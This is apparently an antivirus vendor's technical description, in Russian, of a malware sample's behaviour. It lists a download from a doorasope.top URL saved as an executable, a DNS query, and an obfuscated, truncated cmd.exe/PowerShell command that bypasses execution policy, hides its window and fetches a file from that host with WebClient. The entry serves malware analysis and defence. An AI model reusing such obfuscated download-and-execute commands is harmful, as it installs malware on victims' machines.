Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.doorasope.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "PO^w^Ersh^E^l^L.e^xe -Exec^utIo^Npoli^cy^ bypA^sS -No^PR^O^FIle^ -Wi^n^d^oWst^yle ^h^idden^ ^(^nE^w-^o^bj^EcT sysTem^.nEt^.^WEB^C^LiENt)^.^DoW^NLo^a^d^fiLE^('http://www.doorasope...
Сетевая активность
UDP
- DNS ASK do###sope.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "PO^w^Ersh^E^l^L.e^xe -Exec^utIo^Npoli^cy^ bypA^sS -No^PR^O^FIle^ -Wi^n^d^oWst^yle ^h^idden^ ^(^nE^w-^o^bj^EcT sysTem^.nEt^.^WEB^C^LiENt)^.^DoW^NLo^a^d^fiLE^('http://www.doorasope...' (со скрытым окном)
